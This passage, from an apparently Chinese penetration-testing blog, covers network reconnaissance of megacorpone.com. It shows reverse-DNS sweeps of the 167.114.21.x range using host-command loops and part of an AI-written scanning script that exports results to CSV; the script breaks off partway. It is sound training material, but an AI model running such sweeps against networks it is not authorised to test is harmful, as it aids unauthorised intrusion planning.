&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;239&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;240&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;原始输出: &lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;241&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;242&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;CSV文件: &lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;243&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;244&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;245&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 清理临时文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;246&lt;/span&gt;&lt;span class="cl"&gt;rm -f &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704144157367" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704144157367.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704144212354" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704144212354.png"&gt;&lt;/p&gt;
&lt;h3 id="反向c段ip爆破"&gt;反向C段IP爆破
&lt;/h3&gt;&lt;p&gt;&lt;img alt="image-20250704144514878" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704144514878.png"&gt;&lt;/p&gt;
&lt;p&gt;从之前的扫描结果看，这个域名大多数解析到&lt;code&gt;167.114.21.x&lt;/code&gt;的C段IP地址，说明这个公司包揽了这个段上的大多数连续的服务器，用来承载业务，那么就有可能存在这个C段中，没有域名，或者说还没来得及挂上域名的测试站点，或者说一个公司某个部门、总部、第三方委托的服务器商之类的角色管理这些服务器，而&lt;code&gt;megacorpone.com&lt;/code&gt;这个域名只是他们子公司域名之一，可能还存在其他域名，只要是存在业务关系的，他们的服务器之间一定会存在业务关联，这时候就需要IP反向搜索爆破新域名。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; Cip in &lt;span class="k"&gt;$(&lt;/span&gt;seq &lt;span class="m"&gt;50&lt;/span&gt; 100&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; host 167.114.21.&lt;span class="nv"&gt;$Cip&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;not fou
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;nd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; Cip in &lt;span class="k"&gt;$(&lt;/span&gt;seq &lt;span class="m"&gt;0&lt;/span&gt; 254&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; host 167.114.21.&lt;span class="nv"&gt;$Cip&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;not fou
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;nd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704145147425" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704145147425.png"&gt;&lt;/p&gt;
&lt;p&gt;同样的，我们用AI写一个小工具&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 脚本名称: reverse_dns_scan.sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 功能: 反向DNS扫描工具，支持进度显示、格式化表格和CSV导出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 用法: ./reverse_dns_scan.sh 网络地址 起始IP 结束IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 错误处理函数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;die&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;错误: &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;用法: &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt; 网络地址 起始IP 结束IP&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查参数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$#&lt;/span&gt; -ne &lt;span class="m"&gt;3&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;需要三个参数：网络地址、起始IP和结束IP&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;NETWORK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;START_IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;END_IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$3&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 验证IP范围&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; ! &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$START_IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;~ ^&lt;span class="o"&gt;[&lt;/span&gt;0-9&lt;span class="o"&gt;]&lt;/span&gt;+$ &lt;span class="o"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; ! &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$END_IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;~ ^&lt;span class="o"&gt;[&lt;/span&gt;0-9&lt;span class="o"&gt;]&lt;/span&gt;+$ &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;起始IP和结束IP必须是数字&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$START_IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -gt &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$END_IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;起始IP不能大于结束IP&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置输出文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;SAFE_NETWORK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$NETWORK&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr -cd &lt;span class="s1"&gt;&amp;#39;[:alnum:]._-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;CSV_OUTPUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SAFE_NETWORK&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;_&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;START_IP&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;END_IP&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;_reverse_dns.csv&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 创建临时文件存储结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;RESULT_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;mktemp&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算总数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;TOTAL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;END_IP &lt;span class="o"&gt;-&lt;/span&gt; START_IP &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 开始扫描&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;开始反向DNS扫描&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;网络地址: &lt;/span&gt;&lt;span class="nv"&gt;$NETWORK&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;IP范围: &lt;/span&gt;&lt;span class="nv"&gt;$START_IP&lt;/span&gt;&lt;span class="s2"&gt; - &lt;/span&gt;&lt;span class="nv"&gt;$END_IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;扫描数量: &lt;/span&gt;&lt;span class="nv"&gt;$TOTAL&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;开始时间: &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;CSV输出文件: &lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;START_TIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%s&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;COUNT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;FOUND&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 初始化CSV文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;IP地址,域名&amp;#34;&lt;/span&gt; &amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 主扫描循环&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; CIP in &lt;span class="k"&gt;$(&lt;/span&gt;seq &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$START_IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$END_IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;NETWORK&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CIP&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 进度统计&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;((&lt;/span&gt;COUNT++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 计算时间和进度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;CURRENT_TIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%s&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;ELAPSED_SEC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;CURRENT_TIME &lt;span class="o"&gt;-&lt;/span&gt; START_TIME&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$COUNT&lt;/span&gt; -gt &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;AVG_TIME_PER_REC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;ELAPSED_SEC &lt;span class="o"&gt;/&lt;/span&gt; COUNT&lt;span class="k"&gt;))&lt;/span&gt;
